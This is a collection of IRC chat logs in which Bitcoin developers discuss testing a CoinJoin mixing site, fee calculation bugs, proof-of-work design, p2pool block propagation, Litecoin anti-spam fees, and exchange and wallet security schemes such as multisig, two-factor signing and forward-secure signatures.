18:17 <@gmaxwell> it's not surprising that points have a special form, it's very surprising that scalars have a special form. The high bit set is for timing attack resistance in the multipler. I can only assume that the low bits is some other psycho performance optimization.
18:18 < adam3us> gmaxwell: its kind of remiss that they dont explain in the paper really
18:43 < andytoshi> gmaxwell: https://www.wpsoftware.net/coinjoin/ should be working
18:44 < andytoshi> as discussed with CodeShark, it strips scriptSigs, which may cause problems for complex use cases
18:46 < petertodd> andytoshi: cool, just submitted a tx
18:48 < petertodd> gmaxwell: yeah, but the r value is public, which lets anyone who knows the stealth address deanonymize you - you might as well just use the txid:vout
18:48 < petertodd> andytoshi: hmm, got " Sorry, this session was not found. "
18:48 < andytoshi> petertodd: yeah, and it's claiming that the session is -92 minutes old
18:49 < andytoshi> sorry, one moment
18:49 < petertodd> andytoshi: now -94 minutes :p
18:49 < andytoshi> oops, permission error
18:50 < andytoshi> should be good now
18:50 < andytoshi> but you'll have to resubmit
18:50 < petertodd> just did
18:52 < petertodd> cool, anyone else want to submit?
18:52 < andytoshi> sure, i'll submit one
18:53 < petertodd> andytoshi: "The most popular output value is 0.0005" <- treating the fee as popular
18:53 < andytoshi> yeah, i noticed that :P
18:53 < andytoshi> probably not a useful behavior
18:53 < petertodd> yeah
18:55 <@gmaxwell> adam3us: the number of the points isn't @#$@#$@#$@ prime. it has a @#$@#$@ cofactor of 8.
18:56 <@gmaxwell> petertodd: wtf. no. the r value is _exactly_ like your public key.
18:56 <@gmaxwell> K is the cooresponding private key.
19:00 < petertodd> gmaxwell: ah I see what you mean, that works
19:02 < andytoshi> petertodd: cool, i joined you
19:02 < petertodd> andytoshi: cool, so I sign when the tx closes right?
19:02 < andytoshi> yeah, if the window is open it should play a chime
19:02 < andytoshi> in 5 minutes
19:04 < petertodd> andytoshi: a nice feature would be to list not just popular output values, but also combinations of input values that you might want to match
19:04 < andytoshi> in future, it will not use donations in computing the popular outputs
19:04 < petertodd> andytoshi: though obviously that gets complex :)
19:04 < andytoshi> petertodd: yeah, agreed, the devil is in the details
19:04 < amiller> andytoshi, that's cool
19:04 < andytoshi> gmaxwell suggested just showing all the output values which appear at least twice
19:05 < andytoshi> or an arbitrary one, if none do
19:05 < CodeShark> you could also use a second transaction to further split outputs
19:06 < CodeShark> hmmm, although if not careful, that can leak information
19:06 < petertodd> andytoshi: "The current session is open for -0 more minutes."
19:06 <@gmaxwell> The current session is open for -0 more minutes.
19:07 < andytoshi> petertodd: lol, it won't go actually negative
19:07 < andytoshi> agreed, i should fix that bug
19:08 < petertodd> andytoshi: signed and submitted
19:08 < CodeShark> you could have all inputs be the same value, then have each submitter send a change output
19:08 < andytoshi> cool, one sec, i'll just verify
19:09 < CodeShark> participants could create specifically denominated outputs beforehand
19:09 < CodeShark> to use as inputs in this transaction
19:09 < andytoshi> i submitted too, in a minute it should give us a txid
19:09 < andytoshi> CodeShark: also a good idea
19:10 < andytoshi> it's hard to say what would be best, and all the ideas proposed involve a lot of work ;)
19:11 < petertodd> andytoshi: fee is a bit low
19:12 < petertodd> andytoshi: off by one digit
19:12 < andytoshi> really?
19:12 < CodeShark> requiring specifically denominated outputs should be easy to implement from your perspective - you just need to have multiple "rooms" for different denominations, ensure the inputs are the same value. you do need a txindexed database to query against to get input values, though
19:12 < CodeShark> err, specifically denominated inputs
19:13 < andytoshi> petertodd: the code uses 1500 satoshi / kb
19:13 < petertodd> andytoshi: it's 688 bytes, so the fee should be at least 0.0000688 BTC
19:14 < andytoshi> oh, i am off by a power of ten
19:14 < andytoshi> shit
19:14 < petertodd> heh
19:14 < CodeShark> the 0.1 room, the 1.0 room, the 10.0 room, etc.. :)
19:15 < andytoshi> really
19:15 < andytoshi> ? 15000 seems wrong
19:15 < andytoshi> 10000*
19:15 < CodeShark> you might also want to charge the fee proportional to the number of bytes contributed
19:16 < CodeShark> for each participant
19:16 <@gmaxwell> you don't know the bytes in advance, alas.
19:16 < CodeShark> well, you don't know the signatures
19:16 <@gmaxwell> though you can compute a conservative estimate but it makes it hard to use.
19:16 < petertodd> andytoshi: int64 CTransaction::nMinRelayTxFee = 10000
19:16 <@gmaxwell> CodeShark: which is almost all the bytes.
19:16 < andytoshi> i'm already using a conservative estimate
19:16 < petertodd> andytoshi: 15000 is a good value
19:16 < CodeShark> but you can estimate the signature size
19:16 < andytoshi> ok, that's what i'm going to use then
19:17 < andytoshi> i'll have to jack up the minimum donation
19:17 < petertodd> andytoshi: I wouldn't worry about maybe too high fees myself
19:18 < andytoshi> ok, so the site now demands 10000 satoshi from each participant
19:18 < andytoshi> from that, it submits 15000/kb to network fees, and keeps the rest (if any)
19:18 < petertodd> andytoshi: heck, scriptSigs are limited to 520 bytes or something IsStandard - that's not that much more than the usual scriptSig size, so just assuming that with absolute min fees wouldn't be a big deal
19:18 < CodeShark> another way to deal with the fee calculation is have each participant specify a change output - then you calculate fees on your end and set the value accordingly
19:20 < CodeShark> as a convention, for instance, the first output of the transaction can always be treated as the change output
19:20 < CodeShark> or the last
19:20 < andytoshi> CodeShark: i don't think that much complexity is needed
19:20 < CodeShark> of course, you should shuffle it on your end before signing is done
19:20 < CodeShark> point is you could set the fees yourself
19:20 < andytoshi> yes, there is shuffling done
19:21 < CodeShark> without requiring the participants to calculate the fee
19:21 < CodeShark> makes it easier to use :)
19:21 < andytoshi> CodeShark: if they want ease of use they can just send a ton to the donation address ;)
19:21 < CodeShark> lol
19:22 < andytoshi> petertodd: should i fix our transaction and try to resubmit it? my node has not seen it yet for example
19:22 < andytoshi> i'd have to pm you for a new signature
19:22 < petertodd> andytoshi: sure
19:22 < petertodd> andytoshi: or fix the site and I'll just do another join
19:23 < andytoshi> the site is fixed, but it won't let you put the same inputs in
19:23 < petertodd> ah
19:24 < andytoshi> yeah, quite frustrating
19:24 < andytoshi> gimme a couple minutes..
19:30 < petertodd> just started a fresh tx if anyone wants to join
19:31 <@gmaxwell> pretty high minfee now.
19:32 < petertodd> gmaxwell: low compared to the value of my time :P
19:33 <@gmaxwell> yea, its not bad.
14:02 < gmaxwell> petertodd: okay, so I've got an idea for a solution to your asymetrically memory hard POW function. I'd give it an 90% chance of working, and a 50% chance of being practical.
14:04 < gmaxwell> petertodd: here is how you do it. First define some function that consists of a fixed sequence of adds and multiplies which cannot be algebraically simplified without knowing the values in question. E.g. I think x=a*b+c*b+c*b+c works
14:04 < gmaxwell> petertodd: now, go find a fully homorphic encryption scheme... e.g. supports both adds and multiplies.
14:05 < gmaxwell> petertodd: now when the client connects you give him a,b,c under homorphic encryption with a key known to you and tell him to run the operation chain for difficulty steps. He memorizes results.
14:06 < gmaxwell> When he finishes he tells you the last one, and you challenge him for intermediate values however often you like.
14:06 < gmaxwell> Because you know the keys and the values of a,b,c you can compute the outcome directly, while he's forced to operate sequentially (under the slow homorphic encryption too)
15:08 < gmaxwell> maaku: Oh I just saw your coinjoin thread. I will be really sad if you aren't able to get funded to work on this.
15:10 < maaku> i would be suprised if i didn't - there's lots of deep pocketed people that want privacy for their bitcoins, but we'll see
15:11 < maaku> sometimes for nefarious reasons i'd rather not support, but i don't see how to add privacy without also enabling that
15:12 < gmaxwell> Right thats my view too. Thats just a nature of technology all of it is dual use.
15:13 < maaku> gmaxwell: what i'm trying to do is make it so that only you know which outputs are yours, without requiring a complex multi-party computation and all the requisite overhead
15:13 < gmaxwell> And if some of the flow of nefarious funds can be redirected to help out the public, then great.
15:13 < maaku> unless of course you're only joining with one person other person
15:14 < gmaxwell> maaku: right. So, some party is acting as a "hub" that e.g. merges up the signatures. Why can't they just pick the ordering at random?
15:15 < maaku> gmaxwell: that was my protocol before, and it has the disadvantage that although the mapping is obscured through blind signing, the hub can keep records
15:16 < maaku> but if the protocol is the hub manages collecting blinded tokens, signing them, and then colledting unblinded signatures, and *then* sorts by unblinded signature value
15:16 < maaku> the hub has no way of knowing any more than anyone else what the ordering is
15:17 < gmaxwell> maaku: What kind of records? I assumed that the unblinded outputs would be returned to the hub over a seperate anonymous connection.
15:18 < maaku> true
15:19 < maaku> ok all the sorting does is provide a deterministic ordering, so the hub isn't required for the last step (building the transaction)
15:19 < gmaxwell> (that requirement is kind of lame, considering that there really does not exist a good solution for those
tor is good enough for casual privacy at least)
15:19 < maaku> that means the protocol already has the feature i wanted. cool
15:19 < gmaxwell> maaku: okay good I think we're on the same page.
15:20 < gmaxwell> and yea, making the sort a function of some data known to all the particiants is fine and good and might simplify it in practice. Don't use data in the transaction to sort however, you don't want CJed transactions to be more identifyable in the blockchain than the need to be.
15:21 < maaku> yes, sort the signatures of the outputs, not the outputs themselves
15:21 < maaku> yeah i'm not happy with revelation over an anonymous connection, but it seems we're venturing into somewhat unexplored territory to avoid that...
15:22 < maaku> hopefully it's something that can be added later
15:22 < gmaxwell> well, at least I do think the multiparty computation route requires _only_ sorting. ... which isn't so bad. But I think trying to do that at the front would be suicide.
16:11 < nanotube> fwiw, i run full node on my main comp. and following that discussion spun up another node on a vps. gmaxwell wanna peer? :)
16:12 < gmaxwell> nanotube: make it accept hidden service connections too? see doc/tor.md :)
16:13 < nanotube> good idea.
16:14 < gmaxwell> My laptop is 5yljdotwhmx65nlk.onion my main mining node at home is outbound only right now, but I should fix that.
16:15 < nanotube> ok. i'll get tor up in a bit.
16:16 < nanotube> is it possible/advisable to run a single node behind both tor and non-tor?
16:17 < nanotube> i see it is possible, as per doc. is it advisable? :)
16:19 < gmaxwell> If you're using tor for privacy, no. If you're using it to provide network services, yes
since you'll bridge tor-world and non-tor-world.
16:20 < gmaxwell> eventually we'll have to deal with DOS attacks coming via hidden services... (thats actually part of the motivation for the "asymetrically memory hard POW" I was nattering on above)...
16:21 < gmaxwell> so in theory the only real downside to doing both right now is that maybe a hidden service only dos attack takes out your node on both networks at once. I think thats an acceptable risk right now.
16:47 < nanotube> heh yea, i was taking a walk and realized that if i'm doing it for network health, it'd probably be good to bridge, since if everyone was tor-only it wouldn't work. come back and see you've confirmed my thinking. :)
16:51 < gmaxwell> in the future I expect that smarter networking will constrain resources so that a dos attack on one side only hurts that side.
18:23 < gmaxwell> oh god, someone some stupid reporter got the idea that the node wedging transactions were the result of someone creating bitcoin out of thin air by successfully mining a block
18:24 < gmaxwell> and it took an excruciating amount of effort to break them of the mental model where nodes simply trust everything in a block and security comes "because no one person can make a block"
18:30 < phantomcircuit> gmaxwell, lol reporters
18:30 < phantomcircuit> gmaxwell, http://pastebin.com/raw.php?i=Hjrrg3kX
18:31 * gmaxwell types /axwell whew
18:33 < phantomcircuit> gmaxwell,
18:33 < phantomcircuit> ""Isn't anonymity one of the biggest reasons lots of people support Bitcoin?" one member of bitcointalk.org asked last month, in a comment echoed by other users. "So that the centrally controlled banks/governments don't control personal transactions or even have records of those private transactions?""
18:33 < phantomcircuit> makes me want to cry
18:35 < gmaxwell> I love it that they don't attribute there, because the guys name was problably like JohnGaltDickSlapperCyberCunt1996
18:36 < phantomcircuit> https://bitcointalk.org/index.php?topic=274186.msg2938172#msg2938172
18:36 < phantomcircuit> actually it's just Chronikka
18:36 < phantomcircuit> sooooooo
18:39 < gmaxwell> maaku: thanks for that RapidBalls thread. :P
18:39 < gmaxwell> maaku: phantomcircuit actually has wallet fixes that make the behavior not-exponential.. but I wasn't super eager to point them to them when it sounded like they were doing something spammy (lines you correctly read between even when they couldn't
18:40 < gmaxwell> ("rapidballs" totally sounds like a forum username too)
18:40 < phantomcircuit> gmaxwell, there's actually still a ton of hilariously inefficient behavior in the wallet
18:41 < phantomcircuit> but it's all acting on structures in memory
18:41 < phantomcircuit> so
18:41 < phantomcircuit> shrug
18:41 < phantomcircuit> i would however really like to break out the protocol rules into rule modules
18:41 < maaku> heh, got an unexpected 0.5btc got out of it.. which is lucky because my first inclination was to be a snarky douchebag and I almost was
18:41 < phantomcircuit> since at the moment network rules and soft node rules and anti dos rules are all mixed together
18:42 < maaku> newbie named RapidBalls spamming the network is asking for it ;)
18:43 < phantomcircuit> gmaxwell, sipa do either of you have any ideas on the structure/naming for classes that contain the network/soft/antidos rules?
18:43 < phantomcircuit> i was thinking something as simple as a class with static const methods
18:45 < gmaxwell> maaku: yea, in any case, to keep up your contracting business there I thought I'd tell you about phantom's fixes.
18:47 < phantomcircuit> lol
18:56 < midnightmagic> nanotube: which write-up was that again?
18:58 < midnightmagic> (that convinced you to spin up another node)?
18:59 < maaku> yeah thanks i didn't know about phantomcircuit's fixes
18:59 < phantomcircuit> maaku, did you manually create transactions for them or something?
19:00 < maaku> no, just told them about blocksize limits and such. they're really new to this
19:01 < maaku> he's making something like 500 transactions/minute, and wondering why bitcoin is behaving slowly
19:02 < phantomcircuit> why is he creating 500 transactions/minute...
19:02 < phantomcircuit> yeah my patches would improve his bitcoind performance but he'd just end up with a bunch of unconfirmed transactions
19:03 < gmaxwell> phantomcircuit: because his name is "RapidBalls" what do you think?
19:03 < phantomcircuit> lol
19:03 < phantomcircuit> so because he's being a dick
19:03 < phantomcircuit> got it
19:03 < gmaxwell> the username alone tells me its some derpy gambling site that hasn't figured out that they can do something other than one transaction per bet.
19:03 < phantomcircuit> or that
19:03 < gmaxwell> I promise that that their visa handling people would shut of their service faster than you can say "rapidballs" if they started running 500tx/minute.
19:05 < phantomcircuit> yeah for sure
19:06 < phantomcircuit> 500tx/minute is maybe what something like walmart does
19:06 < phantomcircuit> on a saturday at peak hours
19:07 < phantomcircuit> gmaxwell, so in trying to improve the reliability of automated withdrawal request processing
03:49 < warren> sigh, *this* might be the reason for the apparent "bad luck" of p2pool. Just a few orphans here or there can make it look bad over short time scales especially since the pool finds blocks infrequently.
03:49 < petertodd> what do you mean '*this*'?
03:50 < warren> Lots of home users with asymetric bandwidth, uploading slowly.
03:50 < petertodd> ah, yes absolutely
03:50 < petertodd> people really don't realize how much bandwidth you need to upload blocks fast enough to keep orphans down
03:50 < warren> People have been commenting on the "bad luck" of p2pool forever and nobody mentioned this as a possibility.
03:51 < petertodd> Really? Shit, I thought I mentioned it publicly a few times in the small blocks stuff... I probably forget to mentiuon P2Pool specifically.
03:51 < warren> The block forwarding thing could be made better if the p2pool nodes also connected their bitcoind's together, so "INCOMPLETE BLOCK" won't happen.
03:51 < warren> They can't choose tx's anymore, but at least they're all reference.
03:52 < warren> or rather, INCOMPLETE BLOCK would happen less often
03:52 < petertodd> Yeah, it'd be a good idea. You'd need to come up with a central tx chosing algorithm, and at that point, you can actually semi-ditch bitcoind...
03:52 < warren> ah! p2pool already has RPC access to bitcoind. It could just addnode right?
03:52 < petertodd> Yup
03:53 < warren> do you have any way to read the bitcoind's IP:PORT from RPC?
03:53 < warren> it could addnode but it has no way of knowing *what* to connect to
03:53 < petertodd> No, but you don't need to. Just read ~/.bitcoin/bitcoin.conf
03:53 < warren> No, I mean the foreign node:port, which is what your addnode would need.
03:53 < petertodd> Ah, just have them tell you.
03:53 < warren> ahhh
03:54 < warren> Some people were talking about integrating p2pool-like functionality directly into bitcoind. Perhaps this would be easier that way.
03:55 < warren> (not a great idea for other reasons, like you would have lots of extra code in the reference client)
03:56 < petertodd> Yeah, we're moving towards removing stuff from the bitcoinc lient not adding.
03:58 < warren> INCOMPLETE BLOCK FOUND seems to happen ~50% of the time here
03:58 < warren> so p2pool could be propagating the block faster in some cases, and slower in others
03:58 < petertodd> Interesting, have you read the p2pool code to figure out what's goign on?
03:58 < warren> no, never thought what INCOMPLETE meant
03:58 < petertodd> read it
03:59 < warren> and I heard the block forwarding thing was added because block submission on some nodes was failing entirely
03:59 < petertodd> lovely...
03:59 < warren> on LTC p2pool most of the nodes are actually failing block submission right now
03:59 < warren> and nobody noticed for months due to the block forwarding
04:00 < petertodd> nice
04:01 < warren> block = share.as_block(self.tracker, self.known_txs_var.value)
04:01 < warren> if block is None:
04:01 < warren> print >>sys.stderr, 'GOT INCOMPLETE BLOCK FROM PEER! %s bitcoin: %s%064x' % (p2pool_data.format_hash(share.hash), self.net.PARENT.BLOCK_EXPLORER_URL_PREFIX, share.header_hash)
04:01 < warren> self.known_txs_var.value ... that's probably it.
04:02 < petertodd> makes sense
04:02 < warren> so ugh... there is a *real* cost to decentralized mining
04:03 < petertodd> for sure, and that's the cost *now* with 1MB blocks, hell, more like 150KB blocks really...
04:03 < warren> which can be minimized with peer optimization, putting your nodes in nearby data centers or upgrading your upload bandwidth, connecting directly to other nodes, using reference clients that link to each other...
04:03 < petertodd> ....all things that cost money ultimately
04:04 < warren> some of that can be automated. but yes, other things cost.
04:04 < warren> It's worthwhile for ASIC owners probably.
04:04 < petertodd> yup, it's the things that gavin and mike don't get: every cent spent on bandwidth is a cent not spent on hashing power
04:04 < petertodd> for now, only because ASICS bring in stupid amounts of money
04:05 < warren> the alternative for ASIC owners is to mine on a centralized pool, increasing risk to the network, and losing income from DDoS attacks on the centralized pool.
04:05 < petertodd> although, what that says is ASIC owners have reasons to just point it at BTC guild...
04:05 < petertodd> nah, a big ASIC miner should be mining solo
04:05 < warren> well, big in aggregate
04:05 < petertodd> but a small one should go for the biggest pool with hopefully the most resources to fend of dos attacks
04:06 < warren> DoS yes, but centralization is dangerous if the pool is compromised or http://xkcd.com/538/
04:06 < petertodd> but that's my point, the individual ASIC own doesn't care
04:06 < warren> You want to destroy Bitcoin? forget fancy hardware. Just kidnap two pool owners.
04:06 < warren> *done*
04:06 < petertodd> centralization costs everyone, not just them
04:06 < petertodd> absolutely
04:07 < petertodd> and it's most likely to happen when starting a new pool is hard... like with Mike's crazy world where just getting access to the UTXO set in it'sentirety is tough
04:07 < warren> yes, I really dislike those elitist arguments
04:08 < petertodd> he works at the biggest server *manufacturer* in the world, what do you expect?
04:08 < warren> oh, which?
04:08 < petertodd> Google. They make all their hardware from scratch
04:08 < warren> petertodd: this is largely why I'm interested in working on litecoin. their users already accept anti-spam, so I have lots of flexibility to try better anti-spam ideas there. I don't need to fight the political battle in bitcoin.
04:08 < warren> oh
04:09 < warren> Right now their anti-spam mechanism is a blunt instrument, HIGH FEES ON EVERYONE AND EVERYTHING. I aim to make those fees more targeted to encourage and discourage certain behaviors.
04:09 < petertodd> I had an interview there for a job with their hardware division actually, it's huge.
04:10 < petertodd> It was for a firmware testing position, and I'm analog electronics, so I'm not surprised I didn't get the job. :P
04:10 < warren> =)
04:11 < petertodd> If anything, it shows how desperate they were for people that they flew me down even after I made it clear I had no intention of a career change.
04:11 < petertodd> I like the "make it expensive" anti-spam rules myself, but they are only practical with small block sizes.
04:12 < warren> litecoin blocks are indeed small. =)
04:13 < petertodd> blockchain can grow 1MB per block, with 4x more blocks per hour
04:14 < warren> I intend on checking if any past blocks were bigger than 256KB or 512KB and if so shrinking the hard-limit. It won't be risky after the majority of miners switch.
04:14 < petertodd> ah, see that would be a good thing
04:14 < petertodd> (I looked into attacking litecoin via spam, and figured it was too expensive, namecoin on the other hand is doable)
04:14 < warren> probably don't want to go all the way down to 4x smaller, since tx sizes aren't 4x smaller
04:15 < petertodd> more important though: work on off-chian tx systems, they'll help bitcoin and every alt-coin
04:15 < petertodd> even simple stuff like auditing is a big win
04:15 < petertodd> and multisig coin storage to reduce hacks
04:15 < warren> my interest in litecoin is primarily to prove that fee-based anti-spam incentives work, because I'm really angry about the bitcoin situation.
04:15 < petertodd> what, data in the chain?
04:16 < warren> No, the elitist arguments, and the blind belief that "fee competition" will somehow solve our problems.
04:16 < warren> bullshit.
04:16 < warren> Just throw more hardware at the problem
04:16 < warren> Satoshi's design is perfect. Stop questioning it.
04:17 < petertodd> wait, so you think throwing more hardware is a solution, or the dumb way to fix it?
04:17 < warren> dumb
04:17 < petertodd> good
04:17 < warren> You can use fee-based incentives to encourage and discourage all kinds of behaviors that are beneficial to the overall network growth.
04:18 < warren> Discourage externalizing costs.
04:18 < petertodd> but see, I *do* have a blind belief in fee competition, so to speak, because I'm happy to spend $5 per tx if off-chain tx's work and are adopted widely
04:18 < petertodd> we can live with 1MB blocks basically forever even if every block is exactly 1MB
04:18 < petertodd> it's what we all signed up for, and in that scenario, spam doesn't bother me one bit
04:18 < warren> "what we signed up for" is a logical issue here
04:19 < petertodd> heh, well, it's what the source says
04:19 < petertodd> satoshi wasn't thinking too far ahead
04:19 < warren> satoshi got a LOT right
04:19 < petertodd> ...and a lot wrong too
04:19 < warren> He forgot to realize that UXTO cost isn't reflected in the fee formula. Oops.
04:19 < petertodd> that's a BIG one he got wrong
04:20 < warren> yeah, and that's a key one a few devs fight
04:20 < petertodd> he never thought of fidelity bonds :P
04:20 < petertodd> (and I say that as someone who both invented them, and likes to make fun of them all the time)
04:20 < warren> anyway, I can't win this battle directly with bitcoin, so i'm going to prove it with litecoin.
04:21 < petertodd> well, good luck
04:21 < warren> I'm trying to push in arbitrary behavior incentives, including "punish uncompressed keys with yet another fee for no good reason"
04:21 < warren> excuse for all of this is "Hey you're unaffected with coin age."
04:22 < warren> and also "we're lowering the normal-sized tx fees. Just don't spam and you're fine."
04:22 < petertodd> hmm... I'd suggest you focus on the UTXO business, and do so directly, don't get into the game of punishing specific tx types
04:22 < petertodd> if fees become valuable, miners will behave rationally
04:23 < warren> fees are already too valuable there, even the pool owners want fees to go down (for non-spam)
06:03 < warren> I'm booking my trip to the Vegas conference. anyone else going?
06:03 < warren> there's a hidden discount code
06:03 < adam3us> warren: yeah i think so
06:03 < adam3us> warren: oooh nice ... do share :)
06:03 < petertodd> warren: vegas?
06:03 < adam3us> warren: (not booked yet)... btw fair warning it seems to be relatively non-tech
06:04 < warren> adam3us: I'm a MBA/law student
06:04 < adam3us> warren: reiner is presenting, otherwise suits
06:04 < petertodd> adam3us: yeah, and by sticking to ordering, you are forced to deal with incentivising mining separately, which can be an advantage rather than just giving it a hope and prayor
06:04 < adam3us> warren: i am talking about people who cant code, or probably fully understand bitcoin protocol if they had to to save their life
06:05 < adam3us> petertodd: yes that is a nice side effect- many incentives and attacks become weaker if you're attacking opaque blobs of your adversary, worst you can do in many cases is random DoS that costs you money
06:06 < warren> adam3us: you mean any of us fully understand the bitcoin protocol? =)
06:06 < warren> I don't think Satoshi understood it fully.
06:09 < adam3us> warren: satoshi - maybe... the full implications at the limits of game theory are complex. but the whole thing is amazing so bucket loads of kudos to satoshi
06:11 < petertodd> adam3us: see the tx fees/latency thing is something I've lately realized should be worried about - specifically how orphans incentivize mining centralization
06:24 < adam3us> so bitcoin hw security. seems like the risk is going up. at some point someone with $1m worth of zerodays is going to burn them to steal $10m worth of bitcoins. and there are people with access to zero days
06:25 < adam3us> i think the solution is hw wallets like trezor and armory offline
06:25 < petertodd> armory says they'll have useful multisig soonish
06:28 < adam3us> petertodd: my other thought is any 2fa for services can not be disconnected from teh tx
06:28 < petertodd> adam3us: ever see my 2fa sceme with multisig txs?
06:28 < adam3us> petertodd: ie it must resolve to the tx, on an offline wallet with a display
06:28 < adam3us> petertodd: no but that sounds like you already had the same thought
06:30 < petertodd> adam3us: well I was thinking use bip32 to generate one of the keys, and then use a OTP scheme to generate the other. Now when you initialize it, you pre-generate all the pubkeys for the OTP scheme, and then transfer coins to the resulting addresses. Every OTP code you reveal has in effect authorized the expenditure of some fixed amount of BTC.
06:30 < petertodd> adam3us: it's not "interactive", but the security is very understandable and predictable, and the scheme can be done on paper
06:43 < warren> adam3us: fail. conference fee paying has no bitcoin option.
06:43 < adam3us> petertodd: well i mean like say an exchange, it holds your coins and fiat
06:43 < petertodd> adam3us: ah, outsource the risk to them, which is reasonable too
06:44 < adam3us> petertodd: rather it should do the type3 exchange. it green signs only
06:45 < adam3us> petertodd: then the 2fa is the user signs with their multisig key after reviewing the transaction
06:45 < adam3us> petertodd: they should issue their usdcoin also with an offline issuing key, block chain validated, again 2fa signed by multisig
06:46 < petertodd> adam3us: yeah, gavin outlined something similar to that actually
06:46 < petertodd> adam3us: 2fa auth to the holder, and then they coutner-sign
06:46 < adam3us> petertodd: in that way the exchange cant steal or be hacked
06:46 < adam3us> petertodd: and their only signing key (issue/redeem) is air gapped
06:47 < adam3us> petertodd: people are going to have to do type3 exchange sooner or later or bad things are going to happen
06:47 < petertodd> type3 exchange?
06:48 < adam3us> petertodd: so where the exchange has no coins at risk
06:48 < petertodd> ah right
06:48 < adam3us> petertodd: type2 i was calling where they have only fiat at risk (like bitalo finally is working on)
06:49 < petertodd> well, there's also type2.5, where the exchange can't steal, but if they lose the key you're fucked
06:49 < adam3us> petertodd: after having their previous exchange owned/insider attacked or something - only because they learnt the hard way!
06:49 < adam3us> petertodd: yes. i think you want a timelocked reimbursement for the multisig in case exchange goes rogue, disk crash, out of biz, etc
06:50 < petertodd> absolutely, although actually handling that is hard - lots of ugly state and software messyness
06:50 < adam3us> petertodd: of course your usdcoin are toast anyway - thats down to queueing up as a creditor of the type 3 exchange
06:50 < petertodd> owning USD is inherently not a type3 scenario :P
06:50 < petertodd> regardless of how directly you own it
06:51 < adam3us> petertodd: i think its the new model really i cant see anything else working as you're just putting up a fat perfect crime target, people will burn zerodays, hack certificate authorities, bribe employees, physically break into server rooms... its all coming
06:52 < adam3us> petertodd: i suspect even the 1000s of snowden level guys at NSA and other intelligence agencies with access to their grey-market zerodays, and the grey hat hackers who developed and sold them the zerodays will sooner or later go darkside
06:52 < petertodd> adam3us: I remember saying to gmaxwell months ago that I was hesitant to write anything remotely real related to fidelity bonded banking until I had some remote attest capable TPM hardware to use
06:52 < adam3us> petertodd: eg btcarmory.org is a malware clone of bitcoinarmory.com professionally cloned web site, presumably designed to steal your offline armory wallet
06:52 < petertodd> nice...
06:52 < petertodd> yes, bad software is a nasty one too
06:53 < petertodd> heck, whenever I've used bitaddress.org I've always entered in my own randomness :P
06:54 < adam3us> petertodd: people are going to steal code signing certs or obtain by document forgery. even happened to micrsoft something like that ... fool the RA process of a CA
06:54 < petertodd> yup
06:55 < petertodd> excellent reason to avoid auto update for tha tmatter... also spread your coins across multiple wallet implementations
06:56 < adam3us> petertodd: i think even code signing is bad... signing keys can be compromised, compelled sig on TLA malware version by court, compelled signing key disclosure things like that
06:56 < adam3us> petertodd: maybe its time to publish software hashes to the block chain and forward secure signatures
06:57 < petertodd> forward secure sigs?
07:04 < adam3us> petertodd: kind of like forward secrecy for encryption
07:05 < adam3us> petertodd: you destroy old signature keys so you couldnt forge and resign an old one with the same key
07:06 < adam3us> petertodd: http://www.cypherspace.org/adam/nifs/refs/forwardsecure.pdf
07:06 < petertodd> ah right
07:07 < petertodd> see, just timestamping signatures in bitcoin works well too for that
07:07 < adam3us> petertodd: the main thing is they found a way to have a sequence of public keys and deleted old private eys compactly, otherwise ou could just state an intent to use each sig only once
07:07 < adam3us> petertodd: yes it maybe functionally similar in effect
07:08 < petertodd> I keep meaning to update opentimestamps with OpenPGP support, but that'll be a fair amount of work...
07:08 < adam3us> petertodd: also there is a way to do one use signatures where the signature key can only be used once,
07:08 < petertodd> how does that work? I mean, how could you enforce that?
07:08 < petertodd> (well, without a consensus key-value system anyway...) :P
07:09 < adam3us> petertodd: its quite simple you pre-generate R=xG and make it part of the address, so Q'=H(Q,R)
07:09 < adam3us> petertodd: now people will only accept as valid a signature with that specific R value
07:09 < adam3us> petertodd: brands uses it for one-show certificates.
07:09 < petertodd> I guess I'm not following
07:10 < adam3us> petertodd: the interesting thing is if you go ahead and reuse R, and sign two idfferent messages, you can do that but you leak our private key via simultaenosu equation
07:10 < petertodd> ah right, figures, my point was, that's not a scheme where you can't re-use a signature, that's a scheme where you damn well shouldn't, but a validator without perfect knowledge can't tell the difference
07:10 < adam3us> petertodd: so ecdsa sig Q=xG, R=kG, s=(h(m)+rd)/k, r=R.x
07:10 < petertodd> (knowledge of all sigs made)
07:10 < adam3us> petertodd: ok
07:11 < petertodd> my point being that with a consensus key-value system, you can define the signature as valid if it's the one setting a given key to a given value
07:11 < adam3us> petertodd: yes, but it becomes unconvincing - why would you sign twice, it tells you this is invalid, if you can combine it with time-stamping to order them, thats it
07:12 < petertodd> right, but then the attacker signs twice, so you have three in total, and you still need the consensus system to figure out which was first
07:12 < adam3us> petertodd: yes. it could be interesting though because any miner could ake the private key and spend it to himself instead
07:12 < petertodd> right, so in some cases you can treat it like a fidelity bond
07:13 < adam3us> petertodd: and it prvoides cryptographcally enforced one-use addresses re Luke-Jr attempt to incentivize secure use
07:14 < petertodd> yeah, but s/enforced/boobytrapped/ :P
07:14 < adam3us> petertodd: yes i guess so. it could even be specificed who benefits eg put the double spend address in the address
07:14 < adam3us> petertodd: the one downside is yo have to be really careful with sw failure, spending is not idempotent
07:15 < petertodd> yea, and that's damn ugly
07:15 < adam3us> petertodd: accidentally pay twice due to system crash during a spend and lose your money
16:37 < petertodd> helo: agreed, they *do* have tradeoffs with regard to pow. However I would argue that for full-nodes "botnet-centralization" isn't a risk, so avoiding asics makes a lot of sense.
16:37 <@gmaxwell> maaku: but I'll grant you that if bitcoin had been asic (/gpu) resistant then it would have been mostly botnets.
16:38 < petertodd> helo: anyway, it's rather hypothetical: bandwidth kills you way before you need asics to process the blockchain...
16:38 <@gmaxwell> petertodd: I don't believe you can avoid asics.
16:38 <@gmaxwell> petertodd: at best you could lower then to some small factor advantage, but the competativeness of mining means that eventually that small factor will be enough that only the specialized hardware survived. I thought you agreed about this?
16:38 < petertodd> gmaxwell: sure you can, like I've said before making asics a small integer multiple more efficient rather than hundreds of thousands of times is a huge win
16:38 <@gmaxwell> I don't think it's a win.
16:39 < petertodd> gmaxwell: well, I agreed with the first half, the second half I don't: if censorship becomes prevalant, it's ok if blacklisted transactions cost some small multiple more to get mined
16:39 <@gmaxwell> e.g. if the asics are 10x advantaged then asics farms in the lower 50-tile worldwide power can put everyone else completely out of profitablity.
16:40 <@gmaxwell> okay, maybe there is something there.... but censored miners have an uphill battle, e.g. like having to hide their operations.
16:40 < petertodd> sure, but a hill is far more likely to be surmounted than a cliff
16:52 < jtimon> asics cannot by avoided by definition, by asics I mean specialized hardware
